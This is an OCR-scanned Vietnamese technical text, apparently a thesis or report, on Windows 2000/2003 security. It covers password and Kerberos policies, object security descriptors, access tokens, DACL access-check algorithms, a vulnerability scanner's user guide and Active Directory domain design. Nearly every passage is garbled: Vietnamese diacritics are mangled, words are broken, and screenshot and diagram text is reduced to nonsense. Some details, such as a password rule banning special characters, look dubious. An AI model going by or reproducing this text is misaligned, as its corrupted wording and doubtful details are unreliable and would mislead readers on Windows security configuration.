System Services khoi dong va cip quyén cho nhimg dich vu hé
théng

Registry cdp quyén cho registry keys

File System cip quyén cho tap tin va thu muc

Dé thiét lap hay hiéu chinh viéc thiét 1ap co ché bao mit cho nhing may tinh
riéng bit, ching ta sir dung chinh sach bao mét cuc b, néu danh cho viéc thiét
lap co ché bao mat trén nhiéu may, ta sir dung chinh sich Security Settings
Extension to Group Policy. Ung dung cho viéc thiét 1ap bao mit cing mét loat
trén nhiéu mdy, ta ding chinh sich Security Templates . cudi cing, ap dung tit
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ca cic bién phip & trén trong viéc thiét 1ap co ché bao mat bing cich sir dung
Security Configuratlon va Analysis hay Secedit.exe, hoic import miu chia
nhitng viéc thiét lap vao Local Policy hay Group Policy.

Nhitng chinh sach bado mat dugc miéu ta cu thé nhu sau:

Account Policies;

¢ Password Policy:

Enforce password history :Chinh séch ndy gidp cho ngudi quan tri ning
cao tinh bao mét bang cach tranh viéc str dung lai password cii da qua sir
dung.

Maximum password age: xac dinh khoang thoi gian tdi da sir dung
password (s6 ngay) trude khi hé thong yéu cau ngudi dung thay do6i
password do.

Minimum password age : xac dinh khoang thdi gian Féi thiéu nguai
dung sir dung password trudc khi ngudi ding thay doi.

Minimum password length: xac dinh s6 ki tir cila password, sé ki tir ¢6
thé tir 0 dén 14. néu khong thiét 1ap password, s6 ki tir s&€ 14 0.

Password phai thoa man céc yéu céu: khong dugc tring voi user
Account, c6 t5i thiéu 6 ky tur, c6 thé chira cac ky tu hoa, thudng (A -> Z)
, k¥ s8(1->10) nhung khéng duwoc chira cic ky tir didc biét (, 1, $, #, %)

L trir password s dung ma hoa thuén nghich cho tAt cac user trong
Domain: x4c dinh ring Windows 2000 Server, Windows 2000
Professional, vi Windows XP Professional lru trit passwords bing viéc
stir dung ma hod thuin nghich (reversible encryption).

+» Account Lockout Policy:

Account lockout duration: xac dinh s& phut mét account duy tri khod
cho dén khi n6 ty ddng giai khoa.

Account lockout threshold

Reset account lockout counter after

“» Kerberos Policy:

Enforce user logon restrictions

Maximum lifetime for service ticket
Maximum lifetime for user ticket
Maximum lifetime for user ticket renewal

Maximum tolerance for computer clock synchronization

5./ Tai nguyén hé théng.

Trong hé th‘émg c4c tai nguyén hé théng nhu trong Windows 2000 va Windows
2003 bao gdm céc tai nguyén nhu: files, devices, mailslots, pipes (duqgc dit tén
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va khong dugc dit tén), jobs, processes, threads, events, mutexes, semaphores,
nhimg phan doan bd nhé duge chia s&, cic ludng 1O, céng LPC, waitable
timers , access tokens, window stations, desktops, network shares, services,
registry keys, va may in. cac tai nguyén cua h¢ théng diéu dugc xem nhu dbi
tuong.

Trong Windows 2000 va 2003 thi c4c dbi trong chia lam hai loai.

Poi twgng thire thi (Excutive Objects).
Cac dbi tuong thuéce lai ndy dugc cai dt ra boi céc thanh phan quén 1i vi
du nhu (trinh quén i tién trinh — proccess manager, quan li b nhg -
memory manager , cac h¢ thong nhép xuat con — VO subsystem). Thuong

cac dbi tvong nay dugc tao ra boi img dung ngudi ding hoéc trong qua
trinh hoat dong cia hé diéu hanh.

Péi tm_mg nhin (Kernel Objects).

Cac d6i trong thudc loai nay thi duge cai dat va tao bdi cac tién trinh nhan
hé diéu hanh, & ché d¢ user-mode ching khéng duoc the hién chi ¢6 nhing
tién trinh thuc thi méi cé thé dung ching.

Name
Owned by the | HandieCount
objectmanager | ReferenceCount

Type

Owned :gr:: Kernel object

Ownedbythe |
executive |-

Excutive object chira Kernel objects.

Trong Windows 2000 va Windows 2003 ¢6 27 loai ddi twong, trong d6 cic
Excutive Objects trong Win32 dwgc liét ké nhuwr sau.

Kiéu Dbi Tugng - Mbd Ta

Symbolic link M0t co ché tham cho phép than chiéu tén mot ddi
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tuong gian tiép.

Proccess Ma dia chi 4o va cac théng tin can thiét dé thyc thi
mét tip hop cac doi tuwong Thread.

Thread La mét thuc thé cé thé thyc thi trong Proccess.

Job La mdt tip hop cac dbi twgng Proccess co thé xem
nhu 13 mét thue thé quan 1.

Section Mét viing dé chia sé& bd nhg.

File

La mét dang cia file dugec mé hay cac thiét bi nhap
Xudt. :

Access Token

La mot méu thong tin vé bao mat khi ding nhdp hé
thong.

Event La mt dbi twong c6 trang thai dugc ding trong
dong bd hoa hodc khai bao.

Semaphore La mdt con dém nhu mét ngudi gat cong cla tai
nguyén, cho phép sé tlen trinh nhiéu nhét truy cép
tal nguyén.

Mutex La mét co ché dong b héa ding dé ngan can céc
ti€n trinh truy cép dong thai tai nguyén.

Timer La co ché bao cho Thread biét thoi gian mot khoén
thoi gai dinh trude da tr01 qua.

ToCompletion La mét phuong thirc cia cdc tiéu trinh ding khai
bao viéc vao hang hodc ra khoi hang cua cac hoat
dong nhip xuat.

Key Mot co ché dé tham chiéu dit lidu trong Registry.

Windows Station

La mot dbi tuong chira mdt clipboard, tip hop cac
atoms taon cuc, va mt nhom do6i tugng Desktop.

D‘esktop

La mit déi tuong dugc chira trong Windows
Station, mdt desktop ¢6 mdt giao di€n hién thi cuc
bd. chira nhitng cira s6, menus, hooks.

Ciu triic ciia mét d6i twgng.

M>bi dbi tuong ¢6 mét phan thong tin (Object Header) va Phin dir lidu cua
ddi twgng (Object Body). Object Header dugc quan li boi bd quan li d6i
tuong (Object Manger), nhing tién trinh chu thuc thi quan li phin Object
Body cta loai di twong ma chiing tao ra. Trong d6 mdi object header c6
mdt con trd goi 1a Open Handles List chi t¢i mdt danh séch cac tién trinh,
1a cac tién trinh truy c4p d6i twong. va mét con trd Object Type tro t61 mdt
ddi tugng dic biét goi 1a Type Object chira théng tin chung cta ting dbi
tuong dugc st dung. tuy nhién thudc tinh lam ta cha y téi 1a thudc tinh
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Security Descriptor, day 1a b§ md t& bdo mét cia dm tugng cho phép
nhimg SID nao c6 quyén, thao tic nao trén d6i tugng. vé mé hinh bao mat
d6i tugng cia windows 2000 hay 2003 vé co ban dya trén ba thanh phﬁn dé
quyet dinh cho phép hay khéng cho phép truy cap voi nhung quyén yéu
cdu : SID cua tién trinh hodc Thread, nhimg quyén yéu cau thao tic dbi
tuong, cac thong tin bdo mét ctia ban thin dbi tugng.

Object name

Object header Chject directory
: ' Security descriptor

Quota charges )
Open handle coun/ Type object
n handles list
8;2«: typi M > g‘: ;zr:e
Referencg count | Default gucta charges
X Access types
Objectbody | Object-specific data Generic access rights mapping
R NI Synchronizable? (Y/N)
Methods:
Open, dlose, delete,
parse, security,
query name

Céu tric cia mdt dbi tugng.

Béy gi¢r ching ta s& ban vé by mé ta bao mét (Security Descriptor) . Trudc
tién ve cau tric thi Security Descriptor bao gom cac thanh phén sau:

- Revision Number: chi ra phién ban tao ra Security Descriptor.

- Flags: 1a cac tily chon dinh nghia cac hanh vi va dic diém cua bd
mo ta.

- Owner SID: 1a SID tién trinh 13 cht dbi tugng.

- Group SID: 1a cac SID cua céc nhém chinh cho déi tugng (chi
dugce ding boi POSIX).

- Discretionary access-control list (DACL): chi ra ai ¢6 nhimg truy
cép gi trén ddi tugng.

- System access-control list (SACL): Xéc dinh nhimg hoat dong
ndo trén dbi twong duge ghi vao nhat ky kiém toan (audit log).

Trong d6 nhu dd néi DACL va SACL la hai phin quan trong trong bd mé
ta bao mat. chiing dwgc tao thanh tir cdc Access-Control List (ACL): ma
ACL bao gom phén théng tin (header) va khong cé hodc nhiéu Access-
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Control Entry (ACE). Mdi ACE chira mét SID va mot mit na truy cip
(Access Mask), va c6 thé ¢6 mot tip hop cac cd. ¢6 bbn loai ACEs: aécess
allowed, access denied, allowed-object, and denied-object . trong d6 access
allowed gén nhing quyén truy cép dbi twgng, access denied nhimg quyén
bi "cAm khi truy cdp déi tugmg. con allowed-object twong tu access -
allowed va denied-object tirong tur access — denied nhung ching duge dung
trong Active Directory.
DﬁCL

A - Allow .
object descriptor Read data Reg_d.dqta Fito exauls
: . " Write data R
ACE ACE ACE
Céu tric DACL.

Ngir cinh bao mit cia tién trinh hojc tiéu trinh.

Security Refference Monitor (SRM) dung mét d01 tuong goi la Access
Token dé biéu dién ngit canh bao mat cia céc tién trinh va tiéu trinh. V&
mit ¥ nghia ngit canh béo mét md ta cic dic quyén clia mdt tai khoan
nguorl dung hodc tai khoan nhém, thong qua dé mé ta cac dic quyén ma
cac tién trinh ciia ngudi ding d6 ¢6. Khi c6 mot ngudi dung diang nhap vao
hé thdng thi Winlogon s& tao ra mdt token ban diu, va tir 46 céc tién trinh
cua ngudi ding di ding nhép nay s& ké thira mot ban sao token ban du da
tao ra do Winlogon.

V& mit chu tric thi Windows dung hai thanh phin cia token d& quyét dinh
nhimg gi ma tién trinh va cac tiéu trinh ¢4 thyc hién.

Thanh phan thit nhit bao gdm User SID diing d& quyét dmh tién trinh c6
quyén truy cdp dbi tugng hay khong va nhitng truong Group SID @ chira
tai khodn ngudi ding tao ra token nay 1a thanh vién nhimg nhom nao
Thanh phan thire hai 1a mét diy cac dic quyen quyét dinh nhitng gi tién
trinh va tidu trinh c6 thé lam.
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Token source

impersonation type

Token D

Authentication iD

Modified ID

Expiration time

Defaul primary group

Defautt DACL

User account SID

Group 1 SID
- -
- -
Group n SID
Restricted SID 1
> -i"'
‘-ﬂ ‘F
Restricted SID n
Privilege 1
- -
- -t
Privilege n
CAu tric Access Token.
Tén Trudmg Mo Ta

Token Source

Pay la thudc tinh chita mét chudi mé ta
thyc thé tao ra Token.

Impersonation Type Thudc tinh nay ding dé phan biét Primary
Token va Impersonation Token
Token ID La mégt Local Unique Identifier (LUID) ma

SRM géan cho token khi token dugc tao ra.

Authentication ID

Ciing 12 mt LUID, va dugc sao chép cho
tat ca cdc ban sao ctia token d€ phan biét cac
tién trinh thudc cung mdt Log on session.

Modified ID

Thudc tinh ndy thay ddi khi c6 mdt sy thay
doi trén ngit canh bao mat. va dya vao né de
biét lin thay déi ké tir ldn s dung cudi
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cung.

Experation Time Thuéc tinh ndy cho phép Token vin con
hop 1ép trudc khi thoi gian sit dung bi hét.

Default Primary Group Dung d3t cho dbi twong duoc tao ra tir tién
trinh hay tiéu trinh khi né ding token ndy.

Default DACL - Dung dat cho dbi trong duge tao ra tir tién
trinh hay tiéu trinh khi né ding token nay.

User Account SID SID cia ngudi dung Log on. Hay 1a chu cia
Token.

Group SID(1..n) Chi ra cdc nhém ma ngudi dung déng nhip
la thanh vién.

Restricted SID(1..n) Chi ra cac gdi han cia ngudi dung Log on.

Privilege SID(1..n) Chi ra cic dic quyén cta ngudi dung Log

on. Day 12 mét day cac dic quyen.

Bio mit cia doi twong.

Khi mét tién trinh (proccess) truy cip mot dé6i turong thi né mé mét handle
tham chiéu i dbi twong, lic d6 trinh quan If déi fugng (object manager) s€
goi tdi mdt tién trinh security reference monitor (SRM), 1a mdt tién trinh
kemnel —mode, g&i mdt tip cac quyén hop 18 truy cdp ddi tuong cua tién
trinh (12 Access Token cua tién trinh d6), va security reference monitor
klem tra b§ mé ta bao mat(Security Descrlptor) ctia ddi tugng c6 cho phép
tién trinh truy cép véi quyen ma n6 yéu cau hay khong. Néu n6 cé quyén
truy cap thi SRM s& tra vé mét tip cdc quyén ma tién trinh dugce cho phep,
va bd quan 1i d6i turong thuc hién luu trit chung trong handle tham chiéu téi
dbi trong ma né tao. sau do bét ctr khi nao cac tiéu trinh cua tlen trinh sir
dung handle nay thi b quan li d6i tugng nhanh chéng so sanh xem tap cac
quyén dugc gan ¢ tuong img vdi dich vy truy cdp ma tiéu trinh ding hay
khong dé quyét dinh c6 cho phép tidu trinh st dung hay khong.

Co ché bao vé d6i twgng tir sir truy cip ciia tién trinh va tiéu trinh.

Trong co ché bdo mat thi Win32 c6 hai thut todn kiém tra dé quyét dinh
tién trinh hay tiéu trinh ¢ quyen truy cap dbi tugng hay khong. Thudt toan
thir nhét quyét dinh todn bd quyén truy cap ma tién trinh hay tiéu trinh ¢6
the thuc hién trén d6i tugng, thuat toan thir hai chi xac nhén céc quyén ma
tién trinh hay tiéu trinh y&u ciu truy cdp trén dbi tugng.

Thuét toan thi nhat kiém tra DACL cua dbi tuong theo cic budce sau:
1) Néu déi twong khong c6 DACL thi tién trinh hay tiéu trinh 6 toan
quyén truy cdp trén doi trong.
2) Néu tién trinh hay tiéu trinh goi cé quyen take — ownership thi tién

trinh hay tiéu trinh goi duge gan quyén ghi cia chu dbi tugng trén
déi tugng trudc khi kiém trac DACL.
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3) Néu tlen trinh nay la txen trinh thugc chu d5i tugng thi né c6 quyen

4)

5)

6)

didu khién doc va quyén ghi 1én DACL.

Mbi ACE kiéu access-denied trong DACL c6 chira SID trung voi
mot trong SID bi gidi han ciia access-token cua ngu'(n goi thi

access-mask cia ACE bi loai ra kh01 access-mask gan cho tién
trinh hay tiéu trinh.

M3bi ACE kiéu access-allowed chita mot SID tring khép voi mét
trong nhitng SID cua access-token thi access mask cia ACE duogc

thém vao access- -mask gan cho tién trinh. Néu quyén truy cip nay
chwa bj cAm.

Tra vé access-mask gan cho tién trinh.

Thut toan thir hai diing quyét dinh cic quyén ma tién trinh yéu cdu truy
" cép doi twong c6 hop 1€ khong.

1)

2)

3)

4)

5)

Neu dbi trong khong c6 DACL thi tién trinh hay tidu trinh ¢6 cac
quyén quyén truy cap trén d6i tuqng ma tién trinh yéu céu.

Néu tién trinh yéu cdu c6 quyén take-ownership thi hé thong bao
mét gan quyén ghi va kiém tra DACL. Tuy nhién néu tién trinh chi
yéu cau mot quyen truy cdp nay véi quyen take-ownership, thi hé
théng bao mét gan quyén truy cip va khong cin kiém tra DACL.

Néu tién trinh la cua chi déi tugng thi quyen doc va quyén
dugc gan, néu tién trinh chi yau cdu nhimg quyén ndy thi hé thong
gén quyén truy cip ndy va khéng kiém tra DACL.

M3i ACE trong DACL dugc kiém tra tir dau t61 cudi va mjt ACE
dugce xir 1i néu n6 thoa mdt trong cac di€u kién sau. '

a. SID trong ACE phai tring khép v6i mét SID con tac dung trong
access-token cua tién trinh yéu céu.

b. SID trong ACE thudc kiéu access-allowed tring khép véi mét
SID khéng thujc trong diy bi gidi han trong access-token cua
tién trinh yéu céu.

c. SID trong ACE tring khép véi SID bi gidi han trong access-
token.

Néu 1a ACE thudc kiéu access-allowed thi cac quyén dugc yéu
trong access-mask cua ACE dugc gan. Neu tit ca cac quyen yéu
cau duge gan thi viéc kiép tra thanh cong. néu ACE la kieu access-
denied va bit ky mot quyen truy cdp nao ma tién trinh yéu cdu
thudc va trong nhimg quyén bi cAm thi tién trinh khong duge truy
cap d6i tugng.

Neu da k:em tra hét céc ACE trong DACL ma mét hay mot sb
quyén yéu cdu khong dugc gan thi viéc truy cip dbi tugng bi cim.
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6) Néu tit ca cac Quyen dugc gén nhu trong access-token cua tién
trinh goi cd it nhat mgt SID bi gidi han thi hé thdng bao mat s& quét
lai cac ACE trong DACL dé tim kiém mét ACE c6 access-mask
trung khép vai cac quyen yéu cdu va tring khép SID cua ACE voi
bat ki mét SID bi gii han trong access-token, néu ci hay lan quét
didu gan cho phép nhimg yéu cau truy cfp ¢ d6i twong ma tién trinh
yéu cdu thi chdp nhin quyen truy c4p cia tién trinh.

111/ NHUNG NGUYEN TAC PE XAY DUNG MOQT CHINH SACH BAO

MAT
Do nhing pham vi cia chinh sach bao mit 1a rat rong 1on va phirc tap nén kha
nang hé théng c6 nhirng ké hé thudc vé chinh sach bao mat 1a rét 16n. Chi cén
mdt quy dinh bit hop Iy ciing c6 thé giy ra mot k& hd giap cho ké ¢6 4c y lgi
dung dé thyc hién nhimg c6éng viéc mang lai hdu qua nghiém trong cho td
chirc. Mét quy dinh dugc dua ra ¢6 thé 1a hop 1y va an toan d6i véi thoi diém
hién tai, nhung . dén mot lic ndo d6 quy dinh nay s& c6 thé trd thanh lac hiu va
bdc 16 nhiéu yéu kém. Vi vdy khong thé c6 mét chinh sach bao mét an toan
tuyét ddi, ma ta chi cé thé tao ra mot chinh sach bao mit tuong dbi ban diu va

song song d6 12 xdy dung mdt quy trinh dé lién tuc cung cb chinh sich bao mét
cua ta.

Viéc dwa ra nhitng khung suém cy thé cho mét chinh sach bao mét cia cac don
vi cu thé thudc vé€ giai doan 2. Trong phén nay chi dua ra nhimg nguyén tic
chung nhat dé x4y dung nén va duy tri mot chinh sich bao mit:

¢ Chon lya k§ cang nhiing ngudi c6 the giao viéc quan trj hé thong thong tin

caa t§ chiic cho ho. Song song d6 cin phai ¢6 nhitng rang budc phap Iy vé
trach nhiém ddi voi nhimg ngudi nay.

¢ Dua vao tinh hinh cy thé cua td chuc dé xéac dinh mét quy trinh lam vi€e hop
Iy d4i voi nhimg cong viée c6 lién quan dén hé thong tin cia td chirc.

s Chon nhung cong ty phin mém dang tin cfy dé giao pho viéc phat trién va
chuyén giao cac img dung phin mém néu ¢6 nhu cdu nay.

¢ Xay dung cac quy tic cho viéc truy cép céc h¢ théng tin dua trén sy phén
tich ky lucmg v€ cac thong tin, dich vu cung céip cho nhimg ngudi dimg hoic
nhém ngudi ding cu thé.

Dy béo cac rii ro c6 thé gip clia hé thong tin va 1én ké hoach dbi pho néu
Xay ra.

e Co ké hoach dinh ky xem xét, kiém tra cac cong viéc trén dé kip thoi phat
hién va cling ¢6 céc k& ho.
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” A PHANIV ] ’ ‘
KET QUA CUA BQ CONG CU VA CAC GIAI PHAP AN TOAN
MANG (TREN MOI TRUONG WINDOWS)

CHUONG I
B0 CONG CU VULNERABILITIES DETECTOR AND
ANALYZER.

1./ GIGI THIEU

La chuong trinh cho phép thuc hién quét cic 16 hdng, va cac cac chinh sach bao
mét ciia hé théng ma ngudi tén cong c6 thé loi dung trén hé théng va déng tho
dua ra cac giai phap dé han ché cic diém yéu ctia hé thong bing cic ban va 16i
néu véi cac 16i tiém nang thi chuwong trinh cho phép ngudi sir dung sira chira
ngay hé théng ctia minh.

Chuong trinh chay trén hé théng nén Windows 2K, Windows XP, Windwos
2003 hé thong 32 bits va NET Framework 1.1.

IL/ HUGNG DAN SU DUNG

1./ Huémg din cai dit
- Hé didu hanh: Windows 2000, Windows XP, Windows 2003,
- Céc thanh phén yéu ciu: MDAC 2.8 hoic cao hon.

- Quyén han: D& c6 thé sir dung chuong trinh nay thi phai ¢6 quyén cia nhém
Administrator.

2./ Hwéng dén quét

Dé thuc hién quét hé théng ban cé thé thyuc hién nhr sau: Vao menu Start —
Programs — Security Scan. Chuwong trinh s& khéi dng véi giao dién nhu sau

144



Trg Giop Thogt

VULNERABILITIES DETECTOR & ANALYZER

SECURITY

Locat Computer

Giao dién khoi ddng chuong trinh.

Dé quét 15i hé théng thi chon menu Quét L8i. sau d6 chuong trinh thyc hién
quet va phan tich hé thong nhu sau.
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Trén giao dlgn ndy gém hai phan Panel bén trdi va panel bén phai, & panel
bén trai hién thi hai muc 1a L8i Hé Théng va Diém Yéu Hé Théng.

. Lol Hé Théng: hién thi céc 161 hé théng ma chuong trinh quet duor,
mdi muc con cia né 13 mét loai 16i c6 tén twong tng, dé c6 thé hién
thj nhimg 15i thudc mot loai 18i xdc dinh thi ngudi ding click vao
trong Umg cac myc con nay.

« Diém Yéu Hé Thdng: Hién thi céc 16 hong cia hé théng ma chuong
trinh phéan tich dwgc. Mi muc con cua muc nay cho phép ngudi ding
hién thi két qua ma chuong trinh phén tich dwgc theo timg loai ngudi
diing muén xem chi tiét thi click vao muyc twong img.

Panel con lai 1a thong tin chi tiét clia timg 15i va timg 18 héng dugc hién

thi dang cdy vi m6i muc cla cdy la cac thanh phé hé théng c6 I5i ma

chuong trinh quét duge. Tuong ng v6i mbi thanh phdn c6 18i thi gdm
nhiéu myc méi muc 1a mét 16i, méi muc 15i ¢6 cac thanh phan.

- ;j MlcmsoflAccass 2003 {1 Vuinembalmes)

# X Bufter Overrun in JPEG Processing {GD!+) Could Aliow Cade Exacution(KB833987)
7} Microsoft Excel 2603 (1 Vuinerebilities)
+ X Buffer Overrun in JPEG Processing (GD!+) Could Allow Coda Exacution(KB833987)
2 Microsoft Word 2003 (3 Vuinerebilities)
+ X Buffer Overrun in JPEG Pracessing (GDi+) Could Allow Code Execution(KB833947)
+ X Vulnerabiiity in WordPerlect Converter Could Allow Code Execution{(KB884333)
+ X Yulnerabiliies m Microsoft Word May Lead to Remote Code Execution(KB830169)
> Microsoft Qulook 2003 (1 Vulnerabilifies)
% % Buffer Ovenun in JPEG Procassing (GDI+} Could Allow Code Execution(KB833987)
3 Microsoft PowetPoint 2003 {1 Vulnerabifities)
% - X Bufter Overrun in JPEG Processing (GDI+) Could Allow Code Execttion{(KB833987)
% Microsoft Publisher 2003 (2 Vulnerahilities)
+. X Buffer Qverrun in JPEG Processing (GDI+) Coutd Allow Coda Execution(K8833987)
+ X Vulnerability in WordPartect Converter Couid Allow Code Execution(KB884933)
4 Visual Studio NET 2003 (2 Vuinerabilities)
+ % Buffer Overun in JPEG Pracessing (GDI+) Could Allow Code Exacution(KB833987)
* X Yulnerability in Crystal Reports Web Viewer Could Allow Information Disclosure and Denial of Service{KB!
i Microsoft SQL Server 2000 (3 Vulnerabiiities)
%X SOL Query Method Enables Cached Administrator Connaction to be Reused(MS01-032)
¥ X Paich Availeble for 'Extended Stored Procedure Peramater Parsing' Vulnerability(Q280380)
+ X Malformed RPC Request Can Causa Senvice Failure{Q298012)

Céch thirc hién thj 15i.
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- X Vulnerability in OLE and COM Could Allow Remote Code Execution(KB873333)
#® Impact Remote Code Exacution
A Risk: Critical
¢ Microsoft Bulletin: MS05-012
2 References
4B hitp:fiwww.micrasoft comptechnet/security/bulletin/ms05-012.mspx
4 http://www.cve.mitre.org/cgi-bin/ovename.cgi?nama=~CAN-2005-0047
& http:/fmarc theaimsgroup.com/?l=bugtrag&m=1117558708268178w=2
- AB http:/pdorce.iss.nethdorcepddb1 9105

= 4 Updetes
-4 BanVaLldi
Chi tiét mot 13
NG1 dung cac muc:
* Impact: chi ra cach thirc ma 18i nay khai thic hé théng cia ngudi
dung khi mac 161 nay.
= Risk: Chi ra mirc d6 nguy hiém.
* Microsoft Bulletin: Chi ra ma cia thong bao vé 15i nay tir nha cung
cap Microsoft.
* References: la céc dia chi c6 thé tham khao chi tiét hon vé 15i nay
bang cac Double Click vao dia chi twong img.
= Updates: & phin nay c6 hai loai néu trong muc con ciia updates 1a
“Ban Va Lo6i” ddy la muc cho phép va 16i tr CD (CD di kém véi
chuong trinh) bang cach double click vao myc nay, néu 1a muc
“Download ban va 101 ngay” thi ¢6 nghia 1a ban v4 16i can tai ve tur
mét dia chi ¢6 sin di duge cung cdp bang cach double click ién
muc & trén.
3./ Huémg din xem thong tin hé théng
Pé xem théng tin pé théng, nhu: giao dién chuqng trinh, tir menu Hién Thj —
Théng Tin H¢ Thong — HE Piéu Hanh. H¢ thong the hién nhu sau:
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imm Héa T

I @a&e&u &) TreGuip
Dich Yy H¢ Thing :elosv«m AN -3000521

l'l'iin"l’mh - Oparsing Sysiem P Pr

% T Khodn Ngudi Disg - Version 5.1 28600 Servca Pack I Budd 2600
.d T Khhghat NhSm * Manutecuier Micraaoll Comuorehon
e Chin S6 7 Syswem Name HNGUYEN

Tune Jome Neorth A Suxvthard Time

* Windows Dirsciory CIWRIDOWS

~ Tl Phrymical Memorny 1.047 708 Ky

* Aumlotie Prysical Memary FUNZKD

: Page Fits Space 250484 Kb

. Syt b System mandecuns:

7 Syswm Mooel System Product Name

Syswem Type Xi-based PC

WORKGROUP
Scam Lompleted

Giao dién hién thj thong tin hé thdng.
Giao dién nay gbm hai phan panel bén tri chi ra loai théng tin nao cua hé
théng ma ngudi sur dung cén xem bang cach click vao muc muén xem va
panel bén phai dimg hién thi théng tin tuy thoai thdng tin ma ngudi ding
click & panel bén tréi. Nguoi dimg mudn hién thi lai két qua quét va phén tich

16i bang cach vao menu Hién Thi — L5 Héng Hé Théng, chwong trinh s&
hién thi két qua 18i hé thong.

4./ Cac huémg din khac

Sir dung cong cp mang: tir giao di¢n chinh. Ngudi dung c6 thé mé giao dién
cdng cu mang dé sir dung mét s6 cong cu nhur sau.

Typa Scon
& Tracen 1 TCPProtocol 7 UDPProtacol () Stealth Scan
»¢ Daploymeant Updates
¥ ONS Look Up

& Enumerate Corputar
& Erumerates Users

45 Deployment Softwares
3 Whas

A ‘~ebsias Suppon

Giao dién coéng cu mang.
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Ciing tvong tw nhu cdc giao di¢n khdc, giao dién cng cyu mang nhu hinh trén
ciing c6 hai phin: panel bén trai hién thij loai cong cu ma ngudi mudn ding va
ngudi ding c6 thé chon bang cach click vao muc c6 tén cdng cu trong ng,
panel bén phai hién thi chi tiét clia cong cu d6. Nhu trén hinh 13 céng cu Scan
Ports.

Ciu hinh cho  chwong trinh: tir giao dién chinh. Ngum dung chon menu Cau
Hinh va ctra s cdu hinh xuét hién, ngudi ding c6 thé cdu hinh cic thong sb
tuong img cho chuong trinh.

Thoat chirong trinh: dé thoat khoi chuong trinh, ngudi ding chon menu
Thodt tir giao dién chinh hay bat ky giao dién nao khac.
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CHUONGII ‘
GIAI PHAP BAO PAM AN TOAN MANG

1./ GIGI THIEU

Phén nay huéng dan cac budc dé thiét ké mot domain Windows 2000 twong
déi an toan tinh dén thoi diém hién nay.
Cach t6 chic mang ph bién hién nay trén méi treong Windows 1a quan Iy
domain Windows 2000 bing dich vu Active Directory. Do d6 ching t6i s&
chon mét cau hinh phd bién cia t6 chirc mang nay 1am d6i tugng thuc hanh cu
thé cho bd giai phap.
CAu hinh co ban cua mang dugc khao sat nhu sau:

» He¢ diéu hanh Windows 2000/XP.

» Mang Active Directory.

¢ Chi sur dung 1 forest.

D1 véi mang trén, nhitng van d€ sau can dugc xac dinh can thin dé dam bao
tinh an toan va hiéu qua hoat ddng cta hé thong:

1.T4 chitc cac organizational unit (OU).
2.Chién lugc ghi nhét ky hé théng (auditing).
3.Co ché chirng thuc (authentication).

4. Chién luge thiét ké nhém bao mat.
5.Chinh sach phan quyén quan tri mang.
6.Chia sé tap tin.

7.Chia s¢ mdy in.

8. Group policy.

9.Security cho cac dich vu cia domain. |
10. Bao mat dir liéu trén dudmg truyén.
11. Bao mat ddi véi truy cp tir xa.

12. Bao mat Internet.

Céc vén dé trén 14n hrot dugc khéo sat k§ & phan 11.

IL/ CAC VAN PE CAN XAC PINH KY KHI THIET KE DOMAIN
WINDOWS

1./ Tb chirc cac organizational unit (OU)
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Trong Active Directory, ta ¢6 thé phan bd quyén quén tri theo cic OU va co
thé trién khai cac Group Policy theo cac OU. Khi quyét dmh tao ra mft OU, ta
nén dya vao cac muc dich nay dé cén nhéc xem c6 thuc sy can thiét tao OU d6
hay khéng dé tranh lam phirc tap cdu tric OU 1am anh huéng téi viée quan tri.

Can chi y dén thir tir 4p dung cua Group Policy trén mét ddi tugng dé co thé
trién khai Group Policy theo y mudn. Thir tu 4p dung lin lugt theo trinh tir sau:

¢ Policy trén may cuc b chira d6i tuong duge ip dung dhu tién.
e K& dén la policy mitc site.
e K¢ dén 1a policy mirc domain.
e K& dén 14 policy ctia OU géc.
o Ké dén 1 policy ctia OU con, chéu. ..

Khi phén bd quyén quan trj trén OU cho cac doi tugng, nén suy nghi theo
nhimg quy tic sau day:

o Nhimg user nao s& dwgc phan bd quyén quan tri: cin chon lua k¥ cang dé
dam bao ring nhitng user d6 la can thiét cho viéc phdn bé. Khéng nén
phan bo quyén cho cu thé timg user, ma nén tao ra mét group va phén bd
cac quyen cho group 4o, sau d6 dua céc user can thiét vao group di duogc
phin bd. Lam nhu vay sé rat tién khi ta mudn thay dbi quyén cia mot
nhém cac user va han ché dugce nhim 13n khi lam cu thé trén timg user.

e S& phan bd cho OU nao trong céu triic phén tng cia cac OU: thuong thi
nén phin bé vao OU c6 nhu cdu phan bd & mirc cao hon trong cu tric
phan ting. Va nhu vdy viéc phin b s& dugc tir dong thira ké xuéng tit ca
cac OU mirc thép hon.

e Cac loai ddi trgng nio s& dugc phan b cho viéc quan tri: chi phin bd
quan tri nhimg loai 601 twong cin thiét, khong nén theo méc dinh 12 cho
phép quan tri hét tit ca cac loai aoi twong. Vi du: néu muén cho phép
ngudi duge phén bd chi ¢6 quyén thém/xba cac thanh vién cia nhém thi
chi phan bd quyén quan trj cho ngudi d6 trén cdc dbi trong 16p Group.

e Chi phin bo tip quyen tbi thidu: khong nén theo mic dinh ma phin toan
quyén quan trj trén d6i twong. Can cén nhic k§ ludng d& x4c dinh mot tap
quyén tbi thiéu nhit dap g dirgc nhu ciu quén tri dé phan bé.

2./ Chién lrge ghi nhit ky hé thng (auditing)

C6 mot chién hrgc ghi nhat ky hé théng hop 1y, ngudi quan tri sé klem soat tot
tinh trang van hanh cua hé théng, kip thoi phat hién cac sy ¢6 v& bao mit.
Ngoai ra viéc td chirc ghi nhgt ky hop 1y ciing giup hé théng hoat ddng hiéu
qua hon vi khong phai tiéu tén tai nguyén cho viéc ghi cic nhat ky thira thai
khong cén thiét.
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Chién lugc ghi nhat ky hé thdng dugc dinh nghia théng qua Audit Policy cia
Active Directory.

Can chii y dén tht tu 4p dung cua Audit Policy trén mét déi twong dé co thé
trién khai Audit Policy theo ¥ mudn. Audit Policy 12 mét thanh phin cua  Group
Policy nén thir tr ap dung ciing nhu Group Policy. Thir tr d4p dung 1an luot
theo trinh tr sau:

e Policy trén may cuc b chira di twong dugc ap dyng dau tién.
o Ké dén 12 policy miic site.
e Ké dén 1a policy mirc domain.
o K& dén 1a policy ctia OU gbc.
~ e Ké dén la policy cua OU con, chéu...
Céc loai nhit ky dwgc hd tro:

o Audit Account Logon Events: ghi nhén cac 1an ding nhép ciia user vao
may cuc bj.

- o Audit Account Management: ghi nhn vé cac cong viéc lién quan dén
quan tri user account hodc group account: tao, thay d6i thong tin, x6a user
account /group account; ddi tén, disabled, enabled, thay déi password user
account.

e Audit Directory Service Access: ghi nhén viéc user truy cap dbi twgng cia
Active Directory (d6i tugng nay phai duge chi dinh cho audit).

o Audit Logon Events: ghi nhin viéc chung thuc user account.

